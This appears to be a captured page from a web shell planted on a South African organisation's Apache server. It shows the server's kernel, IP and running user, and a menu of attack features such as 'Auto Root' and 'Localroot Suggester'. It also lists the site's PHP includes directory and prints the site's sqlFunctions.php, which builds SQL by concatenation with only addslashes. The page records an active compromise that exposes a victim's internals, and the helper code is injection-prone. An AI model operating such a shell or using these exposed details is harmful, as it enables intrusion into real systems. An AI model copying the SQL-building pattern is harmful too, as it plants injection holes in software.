Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
error_handling
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
mail
[ DIR ]
drwxr-sr-x
2025-06-14 11:17
ADQAnswers.php
3.16
KB
-rw-r--r--
2026-06-03 05:55
ADQAudit.php
6.51
KB
-rw-r--r--
2026-06-03 05:55
ADQAuditAnswers.php
1.21
KB
-rw-r--r--
2026-06-03 05:55
ADQFirms.php
18.41
KB
-rw-r--r--
2025-12-31 10:56
ADQuestionnairesAnswers.php
1.05
KB
-rw-r--r--
2026-06-03 05:55
ADQuestionnairesAudit.php
2.01
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestionnaires.php
3.31
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestions.php
541
B
-rw-r--r--
2026-06-03 05:55
ADec_Contacts.php
1.61
KB
-rw-r--r--
2026-06-03 05:55
ADec_OfficeContacts.php
7.43
KB
-rw-r--r--
2026-06-03 05:55
ADec_PIUnderwriters.php
742
B
-rw-r--r--
2026-06-03 05:55
ADec_Transformation.php
817
B
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmOffices.php
1.49
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmSkills.php
2.38
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirms.php
19.37
KB
-rw-r--r--
2026-06-03 05:55
AnonRespondees.php
4.25
KB
-rw-r--r--
2026-06-05 11:41
AwardsEntries.php
2.4
KB
-rw-r--r--
2026-06-06 10:48
BaseTableClass.php
950
B
-rw-r--r--
2026-04-26 08:24
BatchJob.php
4.46
KB
-rw-r--r--
2026-06-03 05:55
BceAssignmentFeedbackFormsReportService.php
6.77
KB
-rw-r--r--
2026-05-25 13:06
CCEAssignment.php
12.44
KB
-rw-r--r--
2026-05-26 14:26
CCEAssignmentMarking.php
26.26
KB
-rw-r--r--
2026-08-14 12:06
CCEBooks.php
524
B
-rw-r--r--
2026-06-03 05:55
CCEConvenorAuth.php
3.06
KB
-rw-r--r--
2026-08-19 11:18
CCECourseSchedules.php
579
B
-rw-r--r--
2026-06-03 05:55
CCEDocCategories.php
529
B
-rw-r--r--
2026-06-03 05:55
CCEDocuments.php
8.15
KB
-rw-r--r--
2026-08-20 12:16
CCEExam.php
15.87
KB
-rw-r--r--
2026-06-03 06:35
CCEExamQuestion.php
1.76
KB
-rw-r--r--
2026-06-03 05:55
CCEFacilitatorUser.php
931
B
-rw-r--r--
2026-06-03 05:55
CCEMessageLog.php
951
B
-rw-r--r--
2026-06-03 05:55
CCEMessages.php
8.88
KB
-rw-r--r--
2026-07-01 13:20
CCEModuleMarksService.php
7.16
KB
-rw-r--r--
2026-05-26 10:30
CCEModules.php
1.16
KB
-rw-r--r--
2026-06-03 05:55
CCEResourceGroups.php
591
B
-rw-r--r--
2026-06-03 05:55
CCEResources.php
896
B
-rw-r--r--
2026-06-03 05:55
CCESetup.php
256
B
-rw-r--r--
2026-02-09 16:20
CCEStAssigExtension.php
2.07
KB
-rw-r--r--
2026-06-03 05:55
CCEStAssigExtensionRequest.php
6.65
KB
-rw-r--r--
2026-06-03 05:55
CCEStudentAssignment.php
16.61
KB
-rw-r--r--
2026-07-15 14:44
CCEStudentCourses.php
611
B
-rw-r--r--
2026-06-03 05:55
CCEStudentDisplayOrder.php
4.96
KB
-rw-r--r--
2026-05-26 09:32
CCEStudents.php
8.4
KB
-rw-r--r--
2026-08-19 11:18
CCETemplates.php
896
B
-rw-r--r--
2026-06-03 05:55
CCEWeeklySessions.php
2.27
KB
-rw-r--r--
2026-02-09 16:25
CPDSPReview.php
624
B
-rw-r--r--
2026-06-03 05:55
CPDServiceProvider.php
4.57
KB
-rw-r--r--
2026-06-12 11:48
CPDTrainingMaterial.php
3.96
KB
-rw-r--r--
2026-06-12 11:48
CceUploadedFileService.php
34.9
KB
-rw-r--r--
2026-06-24 12:03
Certificates.php
8.93
KB
-rw-r--r--
2026-08-18 15:42
Contact.php
690
B
-rw-r--r--
2026-06-03 05:55
ErrorLog.php
1.22
KB
-rw-r--r--
2026-08-24 10:12
EventSchedules.php
5.39
KB
-rw-r--r--
2025-12-20 10:03
FileUploads.php
2.1
KB
-rw-r--r--
2026-06-03 05:55
HTMLHelper.php
17.2
KB
-rw-r--r--
2026-06-03 05:55
KeyValue.php
4.9
KB
-rw-r--r--
2026-04-25 09:34
Mailer.php
12.78
KB
-rw-r--r--
2026-07-15 09:50
MarketingAttendees.php
36.87
KB
-rw-r--r--
2026-08-14 12:06
MarketingPayments.php
2.52
KB
-rw-r--r--
2026-06-03 05:55
MemberContact.php
1.04
KB
-rw-r--r--
2026-06-03 05:55
MemberFirm.php
17.71
KB
-rw-r--r--
2026-06-03 05:55
MemberFirmOffices.php
752
B
-rw-r--r--
2026-06-03 05:55
MemberFirmSkill.php
18.04
KB
-rw-r--r--
2026-06-03 05:55
MemberPortalTransformationProxy.php
4.44
KB
-rw-r--r--
2026-05-20 09:08
MemberPortalUrls.php
1.82
KB
-rw-r--r--
2026-05-20 09:53
MsgAttachFileService.php
4.92
KB
-rw-r--r--
2026-06-22 08:37
OfficeContact.php
1.01
KB
-rw-r--r--
2026-06-03 05:55
Picklists.php
539
B
-rw-r--r--
2026-06-03 05:55
Questionnaires.php
849
B
-rw-r--r--
2026-01-23 12:39
SchoolAttendeeBulkMailerService.php
34.26
KB
-rw-r--r--
2026-08-11 10:45
SchoolAttendees.php
73.21
KB
-rw-r--r--
2026-08-11 10:45
SchoolCourses.php
7.98
KB
-rw-r--r--
2026-08-19 11:59
SchoolEvents.php
45.54
KB
-rw-r--r--
2026-08-18 15:42
SchoolPayments.php
4.48
KB
-rw-r--r--
2026-04-13 09:33
SchoolPresenters.php
1.86
KB
-rw-r--r--
2026-01-23 12:43
SchoolWeeksCoursesDashboardProxy.php
10.69
KB
-rw-r--r--
2026-08-14 12:32
TrainingProvider.php
8.06
KB
-rw-r--r--
2026-01-23 12:43
TrainingProviderDoc.php
554
B
-rw-r--r--
2026-06-03 05:55
Transformation.php
10.87
KB
-rw-r--r--
2026-05-13 09:36
UnempPractitioners.php
1.43
KB
-rw-r--r--
2026-06-03 05:55
Utils.php
13.72
KB
-rw-r--r--
2026-07-23 07:28
WeeklySessionsParser.php
7.87
KB
-rw-r--r--
2026-02-09 16:20
cceMessageAttachmentUpload.inc.php
5.12
KB
-rw-r--r--
2026-06-03 05:55
cceMessageEditor.inc.php
9.26
KB
-rw-r--r--
2026-07-01 13:20
cce_file_download_endpoint.php
1.75
KB
-rw-r--r--
2026-06-24 08:38
cstUnreadMessages.php
2.1
KB
-rw-r--r--
2026-07-01 13:20
cstWeeksCourses.php
1.84
KB
-rw-r--r--
2026-08-14 12:06
load_phpmailer.php
742
B
-rw-r--r--
2026-07-17 14:57
maill.php
19.45
KB
-rw-r--r--
2026-08-19 12:23
require_ewmysql.php
1.2
KB
-rw-r--r--
2026-08-24 10:12
sqlFunctions.php
10.48
KB
-rw-r--r--
2026-08-24 10:12
Save
Rename
<?php if (!class_exists('ADOConnection', false)) { include_once($_SERVER['DOCUMENT_ROOT'] . '/ADOdb/adodb.inc.php'); } include_once($_SERVER['DOCUMENT_ROOT'] . '/php/includes/require_ewmysql.php'); cesa_compat_phpmaker_ado_driver(); /* * Contact otto@igotafrica.com for more details */ /** * Common operations on MySQL * * @author Otto Saayman */ class sqlFunctions { private $db; function __construct($server, $user, $pass, $db) { if (function_exists('newADOConnection')) { $this->db = newADOConnection('mysqli'); } elseif (class_exists('mysqlt_driver_ADOConnection')) { $this->db = new mysqlt_driver_ADOConnection(); } elseif (class_exists('ADOConnection')) { $this->db = new ADOConnection(); } else { echo 'No DB driver!'; exit; } if (is_object($this->db)) { try { $this->db->connect($server, $user, $pass, $db); } catch (Throwable $e) { // PHP 8+ mysqli may throw; leave connection unset so isConnected() is false. } } // $this->db->debug = true; } /** * Whether the underlying ADODB connection succeeded. */ public function isConnected() { if (!is_object($this->db) || !method_exists($this->db, 'IsConnected') || !$this->db->IsConnected()) { return false; } try { $rs = $this->db->Execute('SELECT 1'); return $rs !== false; } catch (Throwable $e) { return false; } } public function getRow($sqlQuery, $inputArr = false) { if (!is_object($this->db)) { return null; } try { if (method_exists($this->db, 'getRow')) { $row = $this->db->getRow($sqlQuery, $inputArr); return is_array($row) ? $row : null; } $result = $this->db->GetArray($sqlQuery, $inputArr); if (is_array($result) && count($result) > 0) { return $result[0]; } } catch (Throwable $e) { return null; } return null; } public function getAll($sqlQuery) { if (!is_object($this->db)) { return array(); } try { $rows = $this->db->getAll($sqlQuery); return is_array($rows) ? $rows : array(); } catch (Throwable $e) { // PHP 8+ / ADOdb can throw (e.g. mysqli_num_fields on a failed query ID). return array(); } } public function getLastError() { return $this->db->_errorCode; } /** * Human-readable message from the last failed DB operation (ADODB). * * @return string */ public function getLastDbErrorMsg() { if (!is_object($this->db)) { return ''; } if (method_exists($this->db, 'ErrorMsg')) { return trim((string) $this->db->ErrorMsg()); } return ''; } public function getNewId($tableName, $idField) { // echo "SELECT (MAX($idField) + 1) AS NewId FROM " . $tableName; $getId = $this->db->getAll("SELECT (MAX($idField) + 1) AS NewId FROM " . $tableName); // var_dump($getId); if (is_array($getId) && count($getId) > 0) { return $getId[0]['NewId']; } return 1; } public function autoExecute($table, $record, $action, $where = null, $idField = 'id') { if (method_exists($this->db, 'autoExecute')) { // echo 'Calling auto execute<br />'; $return = $this->db->autoExecute($table, $record, $action, $where); if (false && $_SESSION["username"] == 'chellan') { // echo '<p>Please ignore debug info: <textarea cols=30>' . print_r($return, true) . '</textarea>' // . $this->db->ErrorMsg() . '</p>'; // exit; // ini_set('display_errors', 1); // error_reporting(E_ALL); } return $return; } // echo 'Building sql<br />'; foreach ($record as $key => $val) { $record[$key] = addslashes($val); } if ($action == 'UPDATE') { $sql = $action . " " . $table . " SET "; $sets = ''; foreach ($record as $key => $val) { if (is_numeric($key) || $key == $idField) { continue; } if (strlen($sets) > 0) { $sets .= ', '; } $sets .= "`" . $key . "` = "; if (is_numeric($val)) { $sets .= $val . " "; } else { $sets .= "'" . $val . "' "; } } $sql .= $sets . " WHERE " . $where; } else { if (strlen($idField) > 0) { $record[$idField] = $this->getNewId($table, $idField); } // Build the SQL with proper escaping for reserved keywords $columns = array_keys($record); $values = array_values($record); // Ensure all column names are properly quoted $quotedColumns = array_map(function ($col) { return '`' . $col . '`'; }, $columns); // Escape values properly $escapedValues = array_map(function ($val) { if (is_null($val)) { return 'NULL'; } elseif (is_numeric($val)) { return $val; } else { return "'" . addslashes($val) . "'"; } }, $values); $sql = $action . " INTO " . $table . " (" . implode(', ', $quotedColumns) . ") VALUES (" . implode(', ', $escapedValues) . ")"; // Debug: Show the generated SQL (uncomment to see SQL for debugging) // echo '<p>Generated SQL: <textarea cols=80 rows=3>' . htmlspecialchars($sql) . '</textarea></p>'; // Alternative debug: Log to error log // error_log("Generated SQL: " . $sql); } // echo $sql . '<br />'; // exit; $result = $this->execute($sql); if (false && $_SESSION["username"] == 'cesatesting') { // echo '<p>Please ignore debug info: <textarea cols=30>' . print_r($result, true) . '</textarea>' . mysqli_error($mysql) . '</p>'; // exit; // ini_set('display_errors', 1); // error_reporting(E_ALL); } // var_dump($result); } public function execute($sql) { if (!is_object($this->db)) { return false; } try { if (method_exists($this->db, 'Execute')) { return $this->db->Execute($sql); } elseif (method_exists($this->db, 'do_query')) { return $this->db->do_query($sql, -1, -1); } else { // Fallback for other database drivers return $this->db->query($sql); } } catch (Throwable $e) { return false; } } public function qstr($str) { global $conni; if (method_exists($this->db, 'qstr')) { return $this->db->qstr($str); } else { return mysqli_real_escape_string($conni, $str); } } } // Add function to handle character encoding properly function sanitizeForDatabase($value, $connection) { // Handle null or empty values if ($value === null || $value === '') { return ''; } // Convert to string if not already $value = (string)$value; // Convert to UTF-8 if not already if (!mb_check_encoding($value, 'UTF-8')) { $value = mb_convert_encoding($value, 'UTF-8', 'ISO-8859-1'); } // Remove only truly problematic control characters that cause MySQL errors $value = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $value); // Replace smart quotes and other problematic UTF-8 characters with safe alternatives $value = str_replace( [ "\xE2\x80\x98", "\xE2\x80\x99", "\xE2\x80\x9C", "\xE2\x80\x9D", // Smart quotes "\xE2\x80\x9A", "\xE2\x80\x9B", "\xE2\x80\x9E", "\xE2\x80\x9F", // Smart quotes "\xE2\x80\x93", "\xE2\x80\x94", "\xE2\x80\x95", "\xE2\x80\x96", // Em dashes and en dashes "\xE2\x80\x97", "\xE2\x80\x98", "\xE2\x80\x99", "\xE2\x80\x9A", // Various dashes "\xE2\x80\xA6", "\xE2\x80\xA7", "\xE2\x80\xA8", "\xE2\x80\xA9", // Ellipsis and other punctuation "\xE2\x80\xAA", "\xE2\x80\xAB", "\xE2\x80\xAC", "\xE2\x80\xAD", // Various symbols "\xE2\x80\xAE", "\xE2\x80\xAF", "\xE2\x80\xB0", "\xE2\x80\xB1", // More symbols "\xE2\x80\xB2", "\xE2\x80\xB3", "\xE2\x80\xB4", "\xE2\x80\xB5", // Even more symbols ], [ "'", "'", '"', '"', // Replace with standard quotes "'", "'", '"', '"', // Replace with standard quotes '-', '-', '-', '-', // Replace with standard dashes '-', '-', '-', '-', // Replace with standard dashes '...', '...', '...', '...', // Replace with standard ellipsis ' ', ' ', ' ', ' ', // Replace with spaces ' ', ' ', ' ', ' ', // Replace with spaces ' ', ' ', ' ', ' ', // Replace with spaces ], $value ); // Remove any remaining problematic UTF-8 sequences that could cause MySQL errors $value = preg_replace('/[\xE2\x80-\x9F][\x80-\xBF][\x80-\xBF]/', '', $value); // Additional cleanup for specific problematic sequences $value = preg_replace('/\xE2[\x80-\x9F][\x80-\xBF]/', '', $value); // Convert to ASCII-compatible characters where possible, but preserve content $value = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $value); // Only remove truly problematic characters, not all non-ASCII // Remove only control characters and other problematic sequences $value = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $value); // Escape for database return mysqli_real_escape_string($connection, $value); } $sqlf = new sqlFunctions(EW_CONN_HOST, EW_CONN_USER, EW_CONN_PASS, EW_CONN_DB); $GLOBALS['sqlf'] = $sqlf; // echo $sqlf; // exit; $sqlfMail = new sqlFunctions(EW_CONN_HOST, MAILDB_USER, MAILDB_PASS, MAILDB_DB); $GLOBALS['sqlfMail'] = $sqlfMail;